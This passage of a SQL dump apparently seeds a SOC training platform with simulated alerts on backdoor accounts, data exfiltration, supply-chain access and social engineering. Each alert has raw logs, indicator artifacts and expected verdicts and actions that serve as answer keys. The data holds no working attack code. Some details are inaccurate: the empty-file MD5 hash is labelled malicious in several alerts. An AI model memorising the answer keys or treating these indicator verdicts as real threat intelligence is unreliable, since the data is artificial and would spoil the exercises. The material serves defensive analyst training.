detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_type\\\":\\\"user_account_creation\\\",\\\"user\\\":\\\"adminuser1\\\",\\\"created_by\\\":\\\"attacker_account\\\",\\\"created_at\\\":\\\"2023-10-05T14:20:00Z\\\",\\\"ip_address\\\":\\\"192.168.1.25\\\",\\\"external_ip\\\":\\\"203.0.113.5\\\",\\\"new_account\\\":{\\\"username\\\":\\\"backdooradmin\\\",\\\"privileges\\\":\\\"administrator\\\",\\\"creation_method\\\":\\\"web_interface\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"cms_user_mgmt.php\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.092Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_type\\\":\\\"user_account_creation\\\",\\\"user\\\":\\\"adminuser1\\\",\\\"created_by\\\":\\\"attacker_account\\\",\\\"created_at\\\":\\\"2023-10-05T14:20:00Z\\\",\\\"ip_address\\\":\\\"192.168.1.25\\\",\\\"external_ip\\\":\\\"203.0.113.5\\\",\\\"new_account\\\":{\\\"username\\\":\\\"backdooradmin\\\",\\\"privileges\\\":\\\"administrator\\\",\\\"creation_method\\\":\\\"web_interface\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"cms_user_mgmt.php\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.092Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_type\\\":\\\"user_account_creation\\\",\\\"user\\\":\\\"adminuser1\\\",\\\"created_by\\\":\\\"attacker_account\\\",\\\"created_at\\\":\\\"2023-10-05T14:20:00Z\\\",\\\"ip_address\\\":\\\"192.168.1.25\\\",\\\"external_ip\\\":\\\"203.0.113.5\\\",\\\"new_account\\\":{\\\"username\\\":\\\"backdooradmin\\\",\\\"privileges\\\":\\\"administrator\\\",\\\"creation_method\\\":\\\"web_interface\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"cms_user_mgmt.php\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.092Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_type\\\":\\\"user_account_creation\\\",\\\"user\\\":\\\"adminuser1\\\",\\\"created_by\\\":\\\"attacker_account\\\",\\\"created_at\\\":\\\"2023-10-05T14:20:00Z\\\",\\\"ip_address\\\":\\\"192.168.1.25\\\",\\\"external_ip\\\":\\\"203.0.113.5\\\",\\\"new_account\\\":{\\\"username\\\":\\\"backdooradmin\\\",\\\"privileges\\\":\\\"administrator\\\",\\\"creation_method\\\":\\\"web_interface\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"cms_user_mgmt.php\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.092Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_type\\\":\\\"user_account_creation\\\",\\\"user\\\":\\\"adminuser1\\\",\\\"created_by\\\":\\\"attacker_account\\\",\\\"created_at\\\":\\\"2023-10-05T14:20:00Z\\\",\\\"ip_address\\\":\\\"192.168.1.25\\\",\\\"external_ip\\\":\\\"203.0.113.5\\\",\\\"new_account\\\":{\\\"username\\\":\\\"backdooradmin\\\",\\\"privileges\\\":\\\"administrator\\\",\\\"creation_method\\\":\\\"web_interface\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"cms_user_mgmt.php\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(484, 'Social Media Amplification Detected', 'medium', 'Social Media Monitoring Tools', 'A bot network was detected disseminating fake articles across various social media platforms, amplifying false narratives.', 'Lateral Movement', 'T1090 - Connection Proxy', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:30Z\",\"event_id\":\"SMAT-4567\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.15\",\"username\":\"social_bot_user\",\"filename\":\"amplification_script.py\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"url\":\"http://examplemalicioussite.com/fake-news\",\"action\":\"post\",\"platform\":\"SocialMediaNet\",\"article_title\":\"Breaking News: Major Event Unfolds\",\"article_id\":\"art-7890\"}', '2026-01-05 03:22:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Associated with known botnet activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Recognized internal host.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"social_bot_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Unusual behavior detected.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"amplification_script.py\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Script used for spreading misinformation.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known malware.\"}},{\"id\":\"artifact_6\",\"type\":\"url\",\"value\":\"http://examplemalicioussite.com/fake-news\",\"is_critical\":true,\"osint_result\":{\"source\":\"Web Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Site used for hosting fake news.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.093Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_id\\\":\\\"SMAT-4567\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"social_bot_user\\\",\\\"filename\\\":\\\"amplification_script.py\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"url\\\":\\\"http://examplemalicioussite.com/fake-news\\\",\\\"action\\\":\\\"post\\\",\\\"platform\\\":\\\"SocialMediaNet\\\",\\\"article_title\\\":\\\"Breaking News: Major Event Unfolds\\\",\\\"article_id\\\":\\\"art-7890\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.093Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_id\\\":\\\"SMAT-4567\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"social_bot_user\\\",\\\"filename\\\":\\\"amplification_script.py\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"url\\\":\\\"http://examplemalicioussite.com/fake-news\\\",\\\"action\\\":\\\"post\\\",\\\"platform\\\":\\\"SocialMediaNet\\\",\\\"article_title\\\":\\\"Breaking News: Major Event Unfolds\\\",\\\"article_id\\\":\\\"art-7890\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.093Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_id\\\":\\\"SMAT-4567\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"social_bot_user\\\",\\\"filename\\\":\\\"amplification_script.py\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"url\\\":\\\"http://examplemalicioussite.com/fake-news\\\",\\\"action\\\":\\\"post\\\",\\\"platform\\\":\\\"SocialMediaNet\\\",\\\"article_title\\\":\\\"Breaking News: Major Event Unfolds\\\",\\\"article_id\\\":\\\"art-7890\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.093Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_id\\\":\\\"SMAT-4567\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"social_bot_user\\\",\\\"filename\\\":\\\"amplification_script.py\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"url\\\":\\\"http://examplemalicioussite.com/fake-news\\\",\\\"action\\\":\\\"post\\\",\\\"platform\\\":\\\"SocialMediaNet\\\",\\\"article_title\\\":\\\"Breaking News: Major Event Unfolds\\\",\\\"article_id\\\":\\\"art-7890\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.093Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_id\\\":\\\"SMAT-4567\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"social_bot_user\\\",\\\"filename\\\":\\\"amplification_script.py\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"url\\\":\\\"http://examplemalicioussite.com/fake-news\\\",\\\"action\\\":\\\"post\\\",\\\"platform\\\":\\\"SocialMediaNet\\\",\\\"article_title\\\":\\\"Breaking News: Major Event Unfolds\\\",\\\"article_id\\\":\\\"art-7890\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(485, 'Data Exfiltration Attempt Detected', 'high', 'Network Traffic Analysis', 'Finally, the attackers attempted to exfiltrate sensitive data from the CMS, aiming to use it for further operations or to sell on the dark web.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T19:45:00Z\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.55\",\"protocol\":\"HTTPS\",\"port\":443,\"filename\":\"sensitive_cms_data.zip\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"jdoe\",\"action\":\"exfiltration_attempt\",\"alert_id\":\"EXFIL-2023-001\",\"malicious_url\":\"https://malicious.example.com/upload\",\"detected_by\":\"IDS\",\"description\":\"A data exfiltration attempt was detected by analyzing outgoing traffic from internal IP 192.168.1.105 to external IP 203.0.113.55 using HTTPS protocol.\"}', '2026-01-05 03:22:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network_check\",\"verdict\":\"internal\",\"details\":\"Internal company network IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_service\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation_service\",\"verdict\":\"suspicious\",\"details\":\"File hash matches known suspicious file signature.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"sensitive_cms_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"suspicious\",\"details\":\"File name indicates potential sensitive data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(486, 'Initial Access via Compromised Supplier Network', 'high', 'Third-party network traffic logs', 'APT41 successfully exploited vulnerabilities in the supplier\'s network to gain initial access to the video game developer\'s environment, leveraging compromised credentials and known malware.', 'Supply Chain Compromise', 'T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:47:23Z\",\"event_id\":\"123456789\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"username\":\"supplier_admin\",\"malware_filename\":\"ccleaner_setup.exe\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"login_success\",\"protocol\":\"https\",\"url\":\"https://supplier-compromised.com/update\",\"message\":\"Successful login from external IP using compromised credentials. Known malicious file transferred.\"}', '2026-01-05 03:26:48', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT41 operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of video game developer\'s server.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"supplier_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"suspicious\",\"details\":\"Compromised credentials used for unauthorized access.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with CCleaner Supply Chain attack.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);

INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(500, 'Exfiltration Attempt via Encoded DNS Queries', 'high', 'Intrusion detection systems (IDS)', 'In the final stage, the attackers attempt to exfiltrate reconstructed documents through encoded DNS queries, aiming to send these valuable files back to their servers.', 'Exfiltration', 'T1071.004 - Application Layer Protocol: DNS', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.5\",\"protocol\":\"DNS\",\"query\":\"dGhpcyBpcyBhIHRlc3QucmVzdWx0LmluZm8uZXhhbXBsZS5jb20=\",\"type\":\"TXT\",\"user\":\"jdoe\",\"hostname\":\"workstation-45.local\",\"file_hash\":\"a5d5c8e2f9b3a4d3e8f5c1a0b2d6e7f9\",\"filename\":\"classified_docs.zip\",\"dns_server\":\"8.8.8.8\",\"dns_response\":\"NoError\"}', '2026-01-05 04:03:13', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT database\",\"verdict\":\"malicious\",\"details\":\"Known malicious server used for data exfiltration.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a5d5c8e2f9b3a4d3e8f5c1a0b2d6e7f9\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with data stealing malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"classified_docs.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Suspicious file containing sensitive documents.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.113Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"DNS\\\",\\\"query\\\":\\\"dGhpcyBpcyBhIHRlc3QucmVzdWx0LmluZm8uZXhhbXBsZS5jb20=\\\",\\\"type\\\":\\\"TXT\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation-45.local\\\",\\\"file_hash\\\":\\\"a5d5c8e2f9b3a4d3e8f5c1a0b2d6e7f9\\\",\\\"filename\\\":\\\"classified_docs.zip\\\",\\\"dns_server\\\":\\\"8.8.8.8\\\",\\\"dns_response\\\":\\\"NoError\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.113Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"DNS\\\",\\\"query\\\":\\\"dGhpcyBpcyBhIHRlc3QucmVzdWx0LmluZm8uZXhhbXBsZS5jb20=\\\",\\\"type\\\":\\\"TXT\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation-45.local\\\",\\\"file_hash\\\":\\\"a5d5c8e2f9b3a4d3e8f5c1a0b2d6e7f9\\\",\\\"filename\\\":\\\"classified_docs.zip\\\",\\\"dns_server\\\":\\\"8.8.8.8\\\",\\\"dns_response\\\":\\\"NoError\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.113Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"DNS\\\",\\\"query\\\":\\\"dGhpcyBpcyBhIHRlc3QucmVzdWx0LmluZm8uZXhhbXBsZS5jb20=\\\",\\\"type\\\":\\\"TXT\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation-45.local\\\",\\\"file_hash\\\":\\\"a5d5c8e2f9b3a4d3e8f5c1a0b2d6e7f9\\\",\\\"filename\\\":\\\"classified_docs.zip\\\",\\\"dns_server\\\":\\\"8.8.8.8\\\",\\\"dns_response\\\":\\\"NoError\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.113Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"DNS\\\",\\\"query\\\":\\\"dGhpcyBpcyBhIHRlc3QucmVzdWx0LmluZm8uZXhhbXBsZS5jb20=\\\",\\\"type\\\":\\\"TXT\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation-45.local\\\",\\\"file_hash\\\":\\\"a5d5c8e2f9b3a4d3e8f5c1a0b2d6e7f9\\\",\\\"filename\\\":\\\"classified_docs.zip\\\",\\\"dns_server\\\":\\\"8.8.8.8\\\",\\\"dns_response\\\":\\\"NoError\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.113Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"DNS\\\",\\\"query\\\":\\\"dGhpcyBpcyBhIHRlc3QucmVzdWx0LmluZm8uZXhhbXBsZS5jb20=\\\",\\\"type\\\":\\\"TXT\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation-45.local\\\",\\\"file_hash\\\":\\\"a5d5c8e2f9b3a4d3e8f5c1a0b2d6e7f9\\\",\\\"filename\\\":\\\"classified_docs.zip\\\",\\\"dns_server\\\":\\\"8.8.8.8\\\",\\\"dns_response\\\":\\\"NoError\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(501, 'Suspicious Connection from Unverified Facebook Profile', 'medium', 'Social Media Monitoring Tools', 'A suspicious connection request from an unverified Facebook profile targeting aerospace employees has been detected. The profile appears to be linked to Rocket Kitten APT, aiming to establish initial contact through social engineering tactics.', 'Social Engineering', 'T1189: Drive-by Compromise', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:23:45Z\",\"platform\":\"Facebook\",\"source_ip\":\"203.0.113.45\",\"target_user\":\"jdoe@aerospacecorp.com\",\"profile_name\":\"Jane Smith\",\"profile_id\":\"fb123456789\",\"profile_url\":\"https://facebook.com/fb123456789\",\"message_content\":\"Hi, I\'m a professional in aerospace technology and would love to connect.\",\"internal_review\":\"Profile created 2 days ago, minimal activity, no verified connections.\",\"connection_status\":\"Pending\",\"internal_ip\":\"192.168.1.105\"}', '2026-01-06 01:24:23', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"jdoe@aerospacecorp.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Email belongs to an aerospace employee.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://facebook.com/fb123456789\",\"is_critical\":true,\"osint_result\":{\"source\":\"Social Media Analysis\",\"verdict\":\"suspicious\",\"details\":\"Recently created profile, minimal activity.\"}}],\"recommended_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.114Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"platform\\\":\\\"Facebook\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_user\\\":\\\"jdoe@aerospacecorp.com\\\",\\\"profile_name\\\":\\\"Jane Smith\\\",\\\"profile_id\\\":\\\"fb123456789\\\",\\\"profile_url\\\":\\\"https://facebook.com/fb123456789\\\",\\\"message_content\\\":\\\"Hi, I\'m a professional in aerospace technology and would love to connect.\\\",\\\"internal_review\\\":\\\"Profile created 2 days ago, minimal activity, no verified connections.\\\",\\\"connection_status\\\":\\\"Pending\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.114Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"platform\\\":\\\"Facebook\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_user\\\":\\\"jdoe@aerospacecorp.com\\\",\\\"profile_name\\\":\\\"Jane Smith\\\",\\\"profile_id\\\":\\\"fb123456789\\\",\\\"profile_url\\\":\\\"https://facebook.com/fb123456789\\\",\\\"message_content\\\":\\\"Hi, I\'m a professional in aerospace technology and would love to connect.\\\",\\\"internal_review\\\":\\\"Profile created 2 days ago, minimal activity, no verified connections.\\\",\\\"connection_status\\\":\\\"Pending\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.114Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"platform\\\":\\\"Facebook\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_user\\\":\\\"jdoe@aerospacecorp.com\\\",\\\"profile_name\\\":\\\"Jane Smith\\\",\\\"profile_id\\\":\\\"fb123456789\\\",\\\"profile_url\\\":\\\"https://facebook.com/fb123456789\\\",\\\"message_content\\\":\\\"Hi, I\'m a professional in aerospace technology and would love to connect.\\\",\\\"internal_review\\\":\\\"Profile created 2 days ago, minimal activity, no verified connections.\\\",\\\"connection_status\\\":\\\"Pending\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.114Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 